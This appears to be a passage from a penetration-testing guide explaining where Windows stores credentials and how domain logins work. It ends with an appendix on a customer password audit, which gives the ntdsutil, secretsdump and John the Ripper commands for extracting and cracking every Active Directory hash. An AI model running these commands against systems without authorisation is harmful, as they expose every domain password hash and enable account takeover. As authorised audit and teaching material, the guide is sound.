NT hash	The NT hash of the password is calculated using an unsalted MD4 hash algorithm. MD4 is a cryptographic one-way function that produces a mathematical representation of a password. This hashing function is designed to always produce the same result from the same password input, and to minimize collisions where two different passwords can produce the same result. This hash is always the same length and cannot be directly decrypted to reveal the plaintext password. Because the NT hash only changes when the password changes, an NT hash is valid for authentication until a user's password is changed. This also means that if two accounts use an identical password, they will also have an identical NT password hash.
LM Hash	LAN Manager (LM) hashes are derived from the user password. Legacy support for LM hashes and the LAN Manager authentication protocol remains in the Windows NTLM protocol suite, but default configurations and Microsoft security guidance have discouraged their use for more than a decade. LM hashes have a number of challenges that make them less secure and more valuable to attackers if stolen: - hashes required a password to be less than 15 characters long and contain only ASCII characters. - LM Hashes also do not differentiate between uppercase and lowercase letters. Techniques to obtain the plaintext value from a LM hash with relatively low effort have been available for a number of years, so the loss of a LM hash should be considered nearly equivalent to the loss of plaintext password.

Credential Type	Description
Windows logon cached password verifiers	These verifiers are stored in the registry (HKLMSecurity) on the local computer and provide validation of a domain user's credentials when the computer cannot connect to Active Directory during a user logon. These are not credentials, as they cannot be presented to another computer for authentication, and they can only be used to locally verify a credential.

Credential Storage

Credential Storage, lists the types of credential storage locations available on the Windows operating system.

Credential sources	Description
Security Accounts Manager (SAM) database	The SAM database is stored as a file on the local disk, and is the authoritative credential store for local accounts on each Windows computer. This database contains all the credentials that are local to that specific computer including the built-in local Administrator account and any other local accounts for that computer. The SAM database stores information on each account, including the username and the NT password hash. By default, the SAM database does not store LM hashes on current versions of Windows. It is important to note that no password is ever stored in a SAM database, only the password hashes.

Credential sources	Description
Local System Security Authority Subsystem (LSASS) process memory	The Local Security Authority (LSA) stores credentials in memory on behalf of users with active Windows sessions. This allows users to seamlessly access network resources, such as file shares, Exchange mailboxes, and SharePoint sites, without reentering their credentials for each remote service. LSA may store credentials in multiple forms including: - Reversibly encrypted plaintext - Kerberos tickets (TGTs, service tickets) - NT hash - LM hash If the user logs on to Windows using a smartcard, LSA will not store a plaintext password, but it will store the corresponding NT hash value for the account and the plaintext PIN for the smartcard.
LSA secrets on disk	A Local Security Authority (LSA) secret is a secret piece of data that is accessible only to SYSTEM account processes. Some of these secrets are credentials that must persist after reboot and are stored in encrypted form on disk. Credentials stored as LSA secrets on disk may include: - Account password for the computer's Active Directory account. - Account passwords for Windows services configured on the computer. - Account passwords for configured scheduled tasks. - Account passwords for IIS application pools and websites. - An attack tool running as an account with administrative privileges on the computer can exploit those privileges to extract these LSA secrets.

Credential sources	Description
Domain Active Directory Database (NTDS.DIT)	The Active Directory database is the authoritative store of credentials for all user and computer accounts in an Active Directory domain. Each writable domain controller in the domain contains a full copy of the domain's Active Directory database, including account credentials for all accounts in the domain. Read-only domain controllers (RODCs) house a partial local replica with credentials for a selected subset of the accounts in the domain. By default, RODCs do not have a copy of privileged domain accounts. The Active Directory database stores a number of attributes for each account, including both username types and the following: - NT hash for current password. - NT hashes for password history (if configured).
Credential Manager (CredMan) store	Users may choose to save passwords in Windows using an application or through the Credential Manager Control Panel applet. These credentials are stored on disk and protected using the Data Protection Application Programming Interface (DPAPI), which encrypts them with a key derived from the user's password. Any program running as that user will be able to access credentials in this store.

Before we dig down in gathering credentials from a compromised machine, we should understand about Windows authentication protocols

Windows authentication protocols

The following table provides information on Windows authentication protocols and a brief description of each supported protocol.

Protocol	Description

Protocol	Description
Kerboros	Kerberos is the default and preferred authentication protocol for domain authentication on current Windows operating systems. Kerberos relies on a system of keys, tickets, and mutual authentication in which keys are normally not passed across the network. (Direct use of the key is permitted for some application clients under certain circumstances). Certain Kerberos-specific objects that are used in the authentication process are stored as LSA secrets in memory, such as Ticket Granting Tickets (TGT) and Service Tickets (ST). TGTs are Single sign-on (SSO) authentication credentials that can be reused for lateral movement or privilege escalation, while STs are not credentials that can be used for lateral movement or privilege escalation.
NTLM	NTLM protocols are authentication protocols that use a challenge and response method to make clients mathematically prove that they have possession of the NT hash. Current and past versions of Windows support multiple versions of this protocol, including NTLMv2, NTLM, and the LM authentication protocol.
Digest	Digest is a standards-based protocol typically used for HTTP and Lightweight Directory Access Protocol (LDAP) authentication Digest authentication is described in RFCs 2617 and 2831.

Appendix-II Cracking Hashes

Recently, we were given a requirement by a customer to figure out if any user in their Active Directory are using simple passwords!

For this, they provided us with the Active Directory database which can taken from a domain controller by using the below command on a administrative shell.

```
ntdsutil "ac in ntds" "ifm" "cr fu c:\temp" q q
```

Once, this database is obtained, it can be converted to the required format

```
domain\username:RID:lmhash:nthash:::
```

by running Impacket Secretsdump

```
secretsdump.py -system registry/SYSTEM -ntds Active\ Directory/ntds.dit LOCAL
```

The command above will create a file called "customer.ntds" which we can use for password cracking.

Now, we can try john or hashcat to do the password cracking.

John The Ripper

LM:NT/ NT-Hashes

The above database would have your LM:NT hashes and can be cracked using

```
john --wordlist=<Word_Dictionary.txt> --format=LM customer.ntds
```

However, for some strange reason, only 140 hashes were getting loaded in John instead of approx 50K hashes. So, we converted LM:NT hashes to NT hashes.

```
domain\username:RID:lmhash:nthash:::
```

to

```
domain\username:nthash
```

and loaded it in John

```
john --wordlist=<Word_Dictionary.txt> --format=NT customer.nt
```

Instead of our custom dictionary customer provided, we also tried the rockyou.txt and darkc0de.lst dictionaries. However, the customer also wanted to try variations of Passwords such as Password@123, inplace of @, maybe !,#,$,%,^,&,* etc. This thing can be solved with John Rules

Korelogic Rules

KoreLogic used a variety of custom rules to generate the passwords. These _same_ rules can be used to crack passwords in corporate environments. These rules were originally created because the default ruleset for John the Ripper fails to crack passwords with more complex patterns used in corporate environments.

Download KoreLogic's Custom rules

To use KoreLogic's rules in John the Ripper: download the rules.txt file - and perform the following command in the directory where your john.conf is located.

```
cat rules.txt >> john.conf
```

Example command lines are as follows:

```
# ./john -w:Lastnames.dic --format:nt --rules:KoreLogicRulesAdd2010Everywhere
# ./john -w:3EVERYTHING.doc --format:ssha --rules:KoreLogicRulesMonthsFullPref
# ./john -w:Seasons.dic --format:md5 --rules:KoreLogicRulesPrependJustSpecials
```

or everything as once

```
# for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1
```

Loopback?

John has loopback thing, also where it uses passwords which has been already cracked to crack more passwords.

```
--loopback[=FILE]         like --wordlist, but fetch words from a .pot file
```

For more information Refer John the Ripper CheatSheet

Password Statistics

BlackHills has released Domain Password Audit Tool that will generate password use statistics from password hashes dumped from a domain controller and a password crack file such as hashcat.potfile generated from the Hashcat tool during password cracking.

Appendix-III Interesting Stories

- Enumerating Excluded AntiVirus Locations
- Launching Empire from Meterpreter/ Beacon and passing meterpreter to Metasploit/ Cobalt Strike : Refer Sixdub blog on Empire & Tool Diversity: Integration is Key

Tools

- PowerMemory
- Data Exfiltration Toolkit (DET)

Changelog